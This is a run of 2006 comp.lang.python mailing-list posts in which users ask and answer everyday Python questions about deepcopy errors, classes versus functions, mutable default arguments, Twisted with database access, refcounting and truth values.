> >>     for index, value in enumerate:
> >>         print "Value %s at index %d" % (index, value)
> >>
> >> This is better:
> >>
> >> def print_list(alist):
> >>     """Print a sorted list"""
> >>     alist = alist[:]  # makes a local shallow copy of the list
> >>     alist.sort()  # safe to modify now
> >>     for index, value in enumerate:
> >>         print "Value %s at index %d" % (index, value)
> >>
> >> But notice that you only need a shallow copy, not a deep copy, because you
> >> aren't modifying the objects within the list, only the list itself.
> >>
> >>
> >>
> >>> I tried this which more closely resembles my project but this doesn't
> >>> work:
> >> Unfortunately my crystal ball is back at the shop being repaired, so
> >> you'll have to explain what "doesn't work" means in this case. Does it
> >> raise an exception? If so, please post the exception. Does it do something
> >> different from what you expected? Then what did you expect, and what did
> >> it do?
> >>
> > I seems that some of the objects in the list don't get along well with
> > deep copy..
> > See my second example post that used deepcopy... When run blows up...
> >
> When it blows up, is there a lot of shrapnel, or just smoke and fire?
> Is the shrapnel mostly metal, or is it plastic and glass?
>
> In short, if we don't know what's happening, we can't help.
> * Did the program spit out a bunch of text you didn't understand?
>    If so, show us the text.  That text may be incomprehensible at first,
>    but it contains crucial clues.
>
> * Did it close your python window without a word?
>    Tell us.
>
> * Did your computer freeze up?
>    Tell us.
>
> If you don't tell us what went wrong *exactly*, you won't get a
> satisfactory answer.
>

I would assume that looking at the code you should be able to tell..
Silly me..  Here.. is the log.. If I were helping.. I would have cut
and pasted the code myself and ran it.. instead of trying to interpret
this...

array('H', [1, 2, 3]) ['a', 'b', 'c']
Traceback (most recent call last):
  File
"/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
line 1806, in runMain
    self.dbg.runfile(debug_args[0], debug_args)
  File
"/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
line 1529, in runfile
    h_execfile(file, args, module=main, tracer=self)
  File
"/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
line 590, in __init__
    execfile(file, globals, locals)
  File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
line 20, in __main__
    test(t)
  File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
line 16, in test
    t = copy.deepcopy(x)
  File
"/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
line 174, in deepcopy
    y = copier(x, memo)
  File
"/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
line 305, in _deepcopy_inst
    state = deepcopy(state, memo)
  File
"/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
line 174, in deepcopy
    y = copier(x, memo)
  File
"/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
line 268, in _deepcopy_dict
    y[deepcopy(key, memo)] = deepcopy(value, memo)
  File
"/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
line 185, in deepcopy
    y = copier(x, memo)
TypeError: __deepcopy__() takes no arguments (1 given)



> Cheers,
> Cliff



From onurb at xiludom.gro  Fri Oct 20 05:17:30 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 11:17:30 +0200
Subject: help with my first use of a class
In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
Message-ID: <4538942b$0$31252$426a74cc@news.free.fr>

BartlebyScrivener wrote:
> I am a mere hobbyist. Spent several hours trying to make a class,
> because I think this is an occasion where I need one. But I can't make
> it work.
> 
> This code "works" (only because of the global c, which I know I'm
> supposed to avoid, by using a Class). I edited the rest to leave out
> the irrelevant formatting and printing of the quotations.
> 
> I've read about Classes several times, but I don't "get" them yet.

Think of a class as both a "blueprint" for objects and a factory
creating these objects. The class lets you define the attributes and
behaviors of it's instances.

> Obviously. If I can solve one real life problem like this, then maybe
> I'll see the light.
> 
> If I understand the power of Classes correctly, I could make one that
> would allow me to make a new instance that would connect to, say, an
> SQLite3 db instead of the Access db, as well as to create more methods
> that will do different SQL searches.


> Thank you for any help,
> 
> 
> import mx.ODBC.Windows as odbc
> import sys
> import random
> 
> def connect():
>     global c
>     db='DSN=Quotations'
>     conn = odbc.DriverConnect(db)
>     c = conn.cursor()
> 
> def random_quote():
>     """
>     Counts all of the quotes in MS Access database Quotations2005.mdb.
>     Picks one quote at random and displays it using textwrap.
>     """
>     c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
>     # Yields the number of rows with something in the quote field
>     total_quotes = c.fetchone()
>     # Get a random number somewhere between 1 and the number of total
> quotes
>     quote_number = (random.randint(1, total_quotes[0]),)
>     # Select a quote where the ID matches that number
>     c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
> quote_number)
>     quote = c.fetchone()
>     blah blah blah
> 
> def print_quote()
>     code to format and print the quote (which will also have to be
> global, unless I learn Classes!)
> 

Ever wondered what arguments and return values were for ?-)

> if __name__ == '__main__':
>     if len(sys.argv) == 1:
>         connect()
>         random_quote()
>         print_quote()
> 

First, notice that you *don't* need a class here to avoid globals.
Learning to use function as *functions* (ie: taking arguments and
returning values) instead of procedure would help:

def random_quote(cursor):
  c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
  total_quotes = c.fetchone()
  quote_number = (random.randint(1, total_quotes[0]),)
  c.execute (
    "SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
     quote_number
  )
  return c.fetchone()

def format_quote(quote):
  # code here
  return formatted_quote

def main(*args):
  if len(args) < 2:
    print >> sys.stderr, "Missing dsn arg\nusage : %s dsn" % args[0]
    return 1
  dsn = args[1]
  try:
    conn = odbc.DriverConnect(dsn)
  except <SomeODBCErrorHere>, e:
    print >> sys.stderr "Cannot connect to %s : %s" % (dsn, e)
    return 1
  quote = random_quote(conn.cursor())
  print format_quote(quote)
  conn.close()
  return 0

if __name__ == '__main__':
  sys.exit(main(*sys.argv))


Now for an OO version - that won't buy you much IMHO:

class SQLFortune(object):
  def __init__(self, dsn):
    self._dsn = dsn
    self._cnx = None

  @apply
  def connection():
    def fget(self):
      if self._cnx is None:
        self._cnx = odbc.DriverConnect(self.dsn)
      return self._cnx
    def fset(self, _):
      raise AttributeError("Attribute is read-only")
    return property(**locals())

  def random_quote(self):
    c = self.connection.cursor()
    c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
    total_quotes = c.fetchone()
    quote_number = (random.randint(1, total_quotes[0]),)
    c.execute (
      "SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
       quote_number
    )
    return c.fetchone()

  def format_quote(self, quote):
    # code here
    return formatted_quote

  def close(self):
    try: self._cnx.close()
    except: pass

def main(*args):
  if len(args) < 2:
    print >> sys.stderr, "Missing dsn arg\nusage : %s dsn" % args[0]
    return 1
  dsn = args[1]
  fortune = SQLFortune(dsn)
  print fortune.format_quote(fortune.random_quote())
  fortune.close()
  return 0

if __name__ == '__main__':
  sys.exit(main(*sys.argv))


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From python.list at tim.thechases.com  Tue Oct 17 13:50:58 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 17 Oct 2006 12:50:58 -0500
Subject: making a valid file name...
In-Reply-To: <slrneja46b.10g.horpner@FIAD06.norwich.edu>
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>	<mailman.647.1161104867.11739.python-list@python.org>
	<slrneja46b.10g.horpner@FIAD06.norwich.edu>
Message-ID: <45351802.5090107@tim.thechases.com>

>> If you're doing it on a time-critical basis, it might help to
>> make "valid" a set, which should have O(1) membership testing,
>> rather than using the "in" test with a string.  I don't know
>> how well the find() method of a string performs in relationship
>> to "in" testing of a set.  Test and see, if it's important.
> 
> The find method of (8-bit) strings is really, really fast. My
> guess is that set can't beat it. I tried to beat it recently with
> a binary search function. Even after applying psyco find was
> still faster (though I could beat the bisect functions by a
> little bit by replacing a divide with a shift).

In "theory" (you know...that little town in west Texas where 
everything goes right), a set-membership test should be O(1).  A 
binary search function would be O(log N).  A linear search of a 
string for a member should be O(N).

In practice, however, for such small strings as the given 
whitelist, the underlying find() operation likely doesn't put a 
blip on the radar.  If your whitelist were some huge document 
that you were searching repeatedly, it could have worse 
performance.  Additionally, the find() in the underlying C code 
is likely about as bare-metal as it gets, whereas the set 
membership aspect of things may go through some more convoluted 
setup/teardown/hashing and spend a lot more time further from the 
processor's op-codes.

And I know that a number of folks have done some hefty 
optimization of Python's string-handling abilities.  There's 
likely a tradeoff point where it's better to use one over the 
other depending on the size of the whitelist.  YMMV

-tkc









From steve at REMOVE.THIS.cybersource.com.au  Mon Oct 16 10:51:15 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 17 Oct 2006 00:51:15 +1000
Subject: Strange Behavior
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
Message-ID: <pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>

On Mon, 16 Oct 2006 07:26:05 -0700, abcd wrote:

> class Foo:
>     def __init__(self, name, data=[]):

The binding of the name "data" to the empty list happens at compile time,
not runtime.

>         self.name = name
>         self.data = data
> 
>     def addData(self, val):
>         self.data.append(val)

Every time you call addData on an instance, it appends to the same list.
So all instances created with Foo(name) share the same list in data.

Think of it like this:

some_list = []
x = Foo("fred", some_list)
y = Foo("wilma", some_list)

Isn't it obvious now that both instances share the same list? That x.data
and y.data don't just have the same value, but are the same object? The
same thing happens when you set the default.


> f = Foo('a')
> f.addData(1)
> f.addData(2)
> 
> f2 = Foo('b', [])

And in this case, you've passed a DIFFERENT empty list as an argument.


The normal Python way for handling this situation is to not use mutable
objects as defaults unless you want this behaviour. Instead, use None as
the default value:

class Foo:
    def __init__(self, name, data=None):
        self.name = name
        if data is None: self.data = []
        else: self.data = data


> Any ideas?  is this a bug?

Well, it's a bug in your code :)

It isn't a bug in Python. At worst, it is a "gotcha", but it is a
deliberate design decision, and quite useful. For example, this is good
for caching complicated calculations:

def function(x, _cache={}):
    # _cache is initialised to an empty dictionary at compile time
    if _cache.has_key(x):
        return _cache[x]
    else:
        # complicated and time consuming calculation happens
        _cache[x] = result
        return result




-- 
Steven.



From tejovathi.p at gmail.com  Thu Oct 12 23:29:32 2006
From: tejovathi.p at gmail.com (Teja)
Date: 12 Oct 2006 20:29:32 -0700
Subject: COM and Threads
In-Reply-To: <zkCXg.27279$Go3.12012@dukeread05>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<zkCXg.27279$Go3.12012@dukeread05>
Message-ID: <1160710172.060054.56400@e3g2000cwe.googlegroups.com>


hg wrote:

> Teja wrote:
> > I have an application which uses COM 's Dispatch to create a COM based
> > object. Now I need to upgrade the application to a threaded one. But
> > its giving an error that COM and threads wont go together. Specifically
> > its an attribute error at the point where COM object is invoked. Any
> > pointers please??????
> >
>
> If COM is not thread safe, then use processes

Thanks a LOT for your reply...... Can u please tell me how to
processes......



From mike$#at^&nospam!%trauschus  Fri Oct 27 09:31:58 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Fri, 27 Oct 2006 09:31:58 -0400
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <1161937820.752610.207990@h48g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
	<KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
	<1161880517.440039.215280@i3g2000cwc.googlegroups.com>
	<gOWdnVR1wIKPndzYnZ2dnUVZ_s-dnZ2d@comcast.com>
	<1161937820.752610.207990@h48g2000cwc.googlegroups.com>
Message-ID: <W-GdnWvfSofMl9_YnZ2dnUVZ_uqdnZ2d@comcast.com>

olive wrote:
> Michael B. Trausch wrote:
> 
>> Yep.  Still does it.
> 
> I'm running PyDev 1.2.4 without completion problem so far.
> 
> Are you up to date ?
> 
> Maybe you should install the latest from scratch.
> 

Yep, I am up to date.  As I said, I am totally confused.

	-- Mike


From aaronwmail-usenet at yahoo.com  Mon Oct  2 09:42:06 2006
From: aaronwmail-usenet at yahoo.com (aaronwmail-usenet at yahoo.com)
Date: 2 Oct 2006 06:42:06 -0700
Subject: Gadfly server startup error
In-Reply-To: <fkllt3-5qa.ln1@prcm.tecont.de>
References: <g3cjt3-ub6.ln1@prcm.tecont.de>
	<mailman.407.1158108135.5279.python-list@python.org>
	<h0blt3-5v9.ln1@prcm.tecont.de>
	<mailman.28.1158158120.10491.python-list@python.org>
	<fkllt3-5qa.ln1@prcm.tecont.de>
Message-ID: <1159796526.279870.76340@m7g2000cwm.googlegroups.com>

> Is anybody out there who has used the server+client operation
> mode successfully?

Well, several years ago, yes.

Since then the project was taken over by some volunteers
and they did an excellent job of
restructuring and modernizing (somewhat) the
*standalone* part of gadfly, but apparently they
didn't port the *client/server* component properly.
As it stands the client server portion is broken now.
(I hadn't tried it after the port, sorry).

I think if you find an older (pre-sourceforge)
tarball it will work.  I will try
to find time to fix this, unless someone else wants
to have a try.  Sorry!

Also, the reference to the new release on the
site refers to a mini-release I did a year or more
ago which fixed various bugs and also added
an xsdb interface component.

   -- Aaron Watters

===
There once was a man from Japan
whose limericks never would scan
when told this was so
he said "yes, I know,
but I always try to put as many words in the last line as I possibly
can."



From pandyacus.xspam at xspam.sbcglobal.net  Sat Oct 28 20:18:43 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sun, 29 Oct 2006 00:18:43 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
	<pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>
	<ei0ih8$2pq$1@chiara.aioe.org>
Message-ID: <87u01oug78.fsf@nandi.2wire.net>

> Steven D'Aprano wrote:
> > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote:
>  >
> >>> Finally, while True/False is a good mental mapping for numeric comparisons,
> >>> take the following:
> >>>
> >>>  >>> if "Cliff is a pillar of the open source community":
> >>> ....	print "thank you"
> >>> .... else:
> >>> ....	print "bugger off"
> >>>
> >>> bugger off
> >>>
> 
> First off, even though nobody has called me on it, this example really prints
> "thank you", not "bugger off".  I got confused in my cutting and pasting.
> Sorry about that.
> 
> 
> >>> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 hits.),
> >>> but the string is *something* so the if block gets evaluated.
> >>>
> >>   >>> if "The above example was bollocks":
> >>   ...   print "You don't know what you are talking about"
> >>   ... else:
> >>   ...   print "Sorry: of course you are perfectly correct"
> >>   ...
> >> You don't know what you are talking about
> > Cliff is making a point about semantics, and he's absolutely correct about
> > it, although it is irrelevant since we're talking about two-value logic
> > not semantics.
> Cheers,
> Cliff

I am joining after some network downtime here, so I seem to have missed what
the real issue here is. At the risk of being completely irrelevant to the 
discussion here, I think it doesn't seem to be just about something or 
nothing - is None something or nothing? It seems to be neither:

>>> None
>>> None and True
>>> None or True
True
>>> None and False
>>> None or False
False
>>> False or None
>>> False and None
False
>>> True and None
>>> True or None
True
>>> not None
True

Chetan


From nospam at jollans.com  Wed Oct  4 09:39:05 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Wed, 4 Oct 2006 15:39:05 +0200
Subject: Where to I find files: gtk.py  _gtk.py  and  GDK.py
References: <1159964268.113477.5740@e3g2000cwe.googlegroups.com>
Message-ID: <eg0dhp$v5b$02$2@news.t-online.com>

On Wed, 04 Oct 2006 05:17:48 -0700, vedran_dekovic at yahoo.com let this
slip:

> Hello,
> Can you tell me where to I find exactly this files:gtk.py, _gtk.py and
> GDK.py
> I was look everywhere,and download package of gtk but I can't find this
> files

on my system, the gtk module is at
/usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.pyc . On your
system, __import__('gtk').__file__ knows more than you.

-- 
Thomas Jollans alias free-zombie


From steve at holdenweb.com  Mon Oct 23 20:06:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 01:06:05 +0100
Subject: pretty basic instantiation question
In-Reply-To: <453d5215$0$13811$4d3efbfe@news.sover.net>
References: <mailman.2408.1161640980.11738.python-list@python.org>	<mailman.1024.1161646594.11739.python-list@python.org>
	<453d5215$0$13811$4d3efbfe@news.sover.net>
Message-ID: <ehjlbc$3iu$1@sea.gmane.org>

Leif K-Brooks wrote:
> sittner at lkb.ens.fr wrote:
> 
>>let's say i have a class, and i need to create a different number of
>>instances (changes every time - and i can't know the number in advance) in
>>a loop.
>>a function receives the number of instances that are needed, and creates
>>them like,
>>a=Myclass()
>>b=Myclass()
> 
> 
> def create_instances(n):
>      return [Myclass() for i in xrange(n)]

Leif's point being you *don't* want to bind a different name to each of 
a variable number of things - that way madness lies, as you end up 
creating Python statements on the fly using eval() and exec and other 
such dangerous and insanity-inducing tricks :-)

Instead use a container structure like a list to hold them, and then use 
an appropriate technique to access them while they are still in the 
container.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From paul at boddie.org.uk  Tue Oct  3 08:33:14 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 3 Oct 2006 05:33:14 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
Message-ID: <1159878794.430315.38920@i3g2000cwc.googlegroups.com>

lbolognini at gmail.com wrote:
> Giovanni Bajo wrote:
>
> > Does this smell "Bitkeeper fiasco" to anyone else than me?
>
> I can't understand why people waste time arguing this stuff.

Because people care about it, I guess.

> Use whatever tool is best at it's job... if it's not written in Python
> it doesn't mean that Python is not good for the task, only that there
> hasn't been any Python programmer that applied himself to the problem
> hard enough.
>
> And i dunno what the case against Trac is (it looks a fine tool for my
> small projects) but probably it's not good enough for python.org

Perhaps, although I imagine that Trac would have a lot more uptake if
it handled more than just Subversion repositories. I don't know whether
Trac is monolithic or not, but there is a need for a wider range of
modular tools operating in the following areas:

  * Web-based source code browsing and searching for many repository
    types; perhaps one per type, all providing a similar interface.
    Currently, there's ViewVC which does CVS and Subversion browsing
    (and limited searching), LXR which does CVS, Subversion and Git
    searching (with arguably more limited browsing), OpenGrok which
    seems to provide CVS, Subversion, RCS and SCCS browsing and
    searching. Perhaps ViewVC just needs more attention.

  * Issue tracking: a huge area in which Trac, Bugzilla, Roundup and a
    bunch of proprietary tools exist.

  * Documentation or content management: whilst arguably non-essential
    to the management of a software project, I can see the benefit of
    integrating documentation with the source code browser, especially.
    And it's convenient if providing a service to users as well as
    developers if things like downloadable files can be managed in a
    way that is compatible with the rest of the solution.

  * Mailing list management/administration, feeds, summaries, reports.

I did briefly look at Trac to see whether I could hack in a WebStack
backend, and I'd do the same for ViewVC if I had the time, mostly
because such projects already duplicate a lot of effort just to permit
the deployment of the software on incompatible server solutions.
There's certainly a lot these solutions could learn from each other and
from lesser known solutions.

> And BTW BitKeeper failed because Linus wanted to stop Tridge reverse
> engineering BitKeeper, not because BK wasn't good.

That's a simplistic view of the situation. The BitKeeper vendor imposes
a non-compete clause on its users, which is in itself pretty
scandalous, and the various attempts to accomplish independent
interoperability with the BitKeeper service led to its proprietor
packing up his toys and going home. You might believe that having some
opportunistic company narrowly define what you can and cannot do,
despite a fairly loose relationship based on you just using their stuff
in your workplace, to be acceptable as long as you get to use such nice
stuff. Others, however, consider implications wider than whether
something is technically good, including whether or not something
brings with it all sorts of unacceptable restrictions on personal
freedoms. Considered through such broader criteria, one can assert that
BitKeeper certainly wasn't good at all.

Paul



From robert.kern at gmail.com  Thu Oct 12 00:57:13 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Thu, 12 Oct 2006 00:57:13 -0400
Subject: Python component model
In-Reply-To: <1160627775.972642.14190@e3g2000cwe.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<pan.2006.10.09.18.24.45.251048@gmx.net>	<452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>	<mailman.343.1160617110.11739.python-list@python.org>	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>	<mailman.347.1160621959.11739.python-list@python.org>	<1160622943.197384.91340@m7g2000cwm.googlegroups.com>	<mailman.351.1160626726.11739.python-list@python.org>
	<1160627775.972642.14190@e3g2000cwe.googlegroups.com>
Message-ID: <egkhv8$sht$1@sea.gmane.org>

Ilias Lazaridis wrote:
> Robert Kern wrote:
>> Ilias Lazaridis wrote:
>>> Robert Kern wrote:
>>>> No, he's just a troll that enjoys telling everyone what to do. Don't try to get
>>>> him to contribute anything useful; it won't work.
>>> Mr. Kern! Seeing you working on such a seemingly excellent product, I
>>> am really wondering about your tenor.
>> I am confident that it is accurately aimed. Furthermore, I am confident that the
>> record and the rest of this community will back me up on it. I've told you
>> before that this community will not tolerate your bad behavior. How many times
>> does this have to be demonstrated before you will leave?
> 
> Please stay in-topic

Asking disruptive individuals to leave is always on-topic. Now, please go away.

I will happily and pleasantly converse with anyone who has questions about 
Traits or any of Enthought's other tools if they ask in good faith. I believe 
that the record shows that you do not do so. Really, I'm quite nice and helpful 
to other people.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 04:59:32 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 18:59:32 +1000
Subject: Printing Hidden Character in Python
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
Message-ID: <87ejsvihaj.fsf@benfinney.id.au>

Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:

> How can we print out the hidden character like "\n", "\r" etc in
> Python?

What result do you want that you're not getting with:

    print "\n"

-- 
 \      "Two rules to success in life: 1. Don't tell people everything |
  `\                                         you know."  -- Sassan Tat |
_o__)                                                                  |
Ben Finney



From andrea.spitaleri at gmail.com  Wed Oct  4 09:09:21 2006
From: andrea.spitaleri at gmail.com (andrea.spitaleri at gmail.com)
Date: 4 Oct 2006 06:09:21 -0700
Subject: dictionary of list from a file
Message-ID: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>

Hi guys,
this is my first post. my "programming" background is perlish scripting
and now I am learning python. I need to create a dictionary of list
from a file. Normally in perl I use to do like:

while(<IN>){
          @info=split(/ +/,$_);
          push (@{$tmp{$info[0]}},$info[1]);
}

and then
foreach $key (keys %tmp){
           print "$key -> @{$tmp{$key}}\n";
}
i get

2 -> 1  2 3 4
7 -> 7 8 9 10

in python I tried:
b={}
a=[]
for line in fl.readlines():
         info=lines.split()
         b[info[0]] = a.append(info[1])

and then
for i in b:
     print i,b[i]
i get
2 None
7 None

data file is:
2 1
2 2
2 3
2 4
7 7
7 8
7 9
7 10

Any help?? 
Thanks in advance
Best Regards

Andrea



From fulvio at tm.net.my  Sun Oct  8 05:20:38 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sun, 08 Oct 2006 17:20:38 +0800
Subject: sign in
Message-ID: <200610081720.38646.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************



confirm 48f0beb37c698f0bb7b4c0327cf30dbd7a4b6335



From vatamane at gmail.com  Sun Oct 29 17:59:01 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 14:59:01 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <mailman.1448.1162158353.11739.python-list@python.org>
References: <1162156412.199341.315540@i42g2000cwa.googlegroups.com>
	<mailman.1448.1162158353.11739.python-list@python.org>
Message-ID: <1162162741.666494.223330@k70g2000cwa.googlegroups.com>

Good point. enterprise.adbapi is designed to solve the problem. The
other interface was deprecated.

Thanks,
Nick Vatamaniuc


Jean-Paul Calderone wrote:
> On 29 Oct 2006 13:13:32 -0800, Nick Vatamaniuc <vatamane at gmail.com> wrote:
> >Snor wrote:
> >> I'm attempting to create a lobby & game server for a multiplayer game,
> >> and have hit a problem early on with the server design. I am stuck
> >> between using a threaded server, and using an event driven server. I've
> >> been told time and time again that I should use an event driven server
> >> design (that is, use twisted).
> >>
> >> There is a lot of interaction between the clients and they would often
> >> need to write to the same list of values, which of course becomes a
> >> problem with a threaded server - so event driven solves that problem,
> >> and I assumed it would solve all my problems. However some requests
> >> from clients would require that the server goes on to query a mySQL
> >> server (separate machine from the server). As this occurs, there is a
> >> small amount of lag while the communication with the mySQL server takes
> >> place, and there could be another 100 clients waiting to make a request
> >> at this point, meanwhile the server is idling while waiting for a
> >> response from the mySQL server - obviously not a good server model.
> >>
> >> I will want the server to support as many users as is possible on any
> >> given machine - and so wasted CPU cycles is something I am trying to
> >> avoid.
> >>
> >> Is the only solution to use a threaded server to let my clients make
> >> their requests and receive a response in the fastest possible time?
> >Snor,
> >
> >The simplest solution is to change your system and put the DB on the
> >same machine thus greatly reducing the time it takes for each DB query
> >to complete (avoid the TCP stack completely).  This way you might not
> >have to change your application logic.
> >
> >If that is not an option, then you are faced with a problem of
> >connecting a threaded programming model with an event based model
> >(twisted and and such). So your job is to interface the two. In other
> >words make the event based model see the threaded DB access as event
> >based. And the DB driver to see the event-based system as threaded. So
> >in your event dispatcher you could add events like db_request_finished
> >then when a connection is requested to the DB, a callback will be
> >supplied. The connection will take place in its own thread, then when
> >it is finished it will put the db_request_finished and the respective
> >callback function on the event queue. I am not sure how to integrate
> >that into the Twisted event dispatcher... perhaps this class is the
> >answer?:
> >http://twistedmatrix.com/documents/current/api/twisted.python.dispatch.EventDispatcher.html
>
> Note, however:
>
> >>> from twisted.python import dispatch
> __main__:1: DeprecationWarning: Create your own event dispatching mechanism, twisted.python.dispatch will soon be no more.
>
> Take a look at <http://twistedmatrix.com/documents/current/api/twisted.enterprise.adbapi.html>.
> 
> Jean-Paul



From exarkun at divmod.com  Sun Oct 29 20:43:49 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 29 Oct 2006 20:43:49 -0500
Subject: beginner's refcount questions
In-Reply-To: <87odru4pc2.fsf@arcor.de>
Message-ID: <20061030014349.20948.1160913475.divmod.quotient.5291@ohm>

On 30 Oct 2006 00:30:53 +0000, Jens Theisen <jth02 at arcor.de> wrote:
>Hello,
>
>python uses gc only where refcounts alone haven't yet done the
>job. Thus, the following code
>
>class Foo:
>    def __del__(self):
>        print "deled!"
>
>def foo():
>    f = Foo()
>
>foo()
>print "done!"
>
>prints
>
>deled!
>done!
>
>and not the other way round.
>
>In c++, this is a central technique used for all sorts of tasks,
>whereas in garbage collected languages it's usually not available.
>
>Is there a reason not to rely on this in Python? For example, are
>there alternative Python implementations that behave differently?  Or
>some other subtle problems?

Among the numerous other reasons, there's this one:

    Python 2.4.3 (#2, Oct  6 2006, 07:52:30) 
    [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> class Foo:
    ...     def __del__(self):
    ...             print 'collected'
    ... 
    >>> def foo():
    ...     f = Foo()
    ...     1/0
    ... 
    >>> foo()
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "<stdin>", line 3, in foo
    ZeroDivisionError: integer division or modulo by zero
    >>> print 'done!'
    done!
    >>> raise ValueError
    collected
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError
    >>> 

>
>And some other minor question: Is there a way to query the use count
>of an object? This would be useful for debugging and testing.

Jean-Paul


From jackokring at gmail.com  Wed Oct 11 18:22:29 2006
From: jackokring at gmail.com (jacko)
Date: 11 Oct 2006 15:22:29 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160603937.392188.253250@m7g2000cwm.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
Message-ID: <1160605349.641420.73650@m7g2000cwm.googlegroups.com>


bearophileHUGS at lycos.com wrote:
> John Doty:
> > Yes. The efficient exact algorithms for this problem use *partial*
> > sorts. The Forth one from the FSL is of this class (although I know of
> > two better ones for big arrays). But it's tough to beat the efficiency
> > of the approximate histogram-based method the Python stats module
> > implements.
>
> The usual way to compute a true median with Python may be:
>
> def median(inlist):
>     newlist = sorted(inlist)
>     index = len(newlist) // 2
>     if len(newlist) % 2:
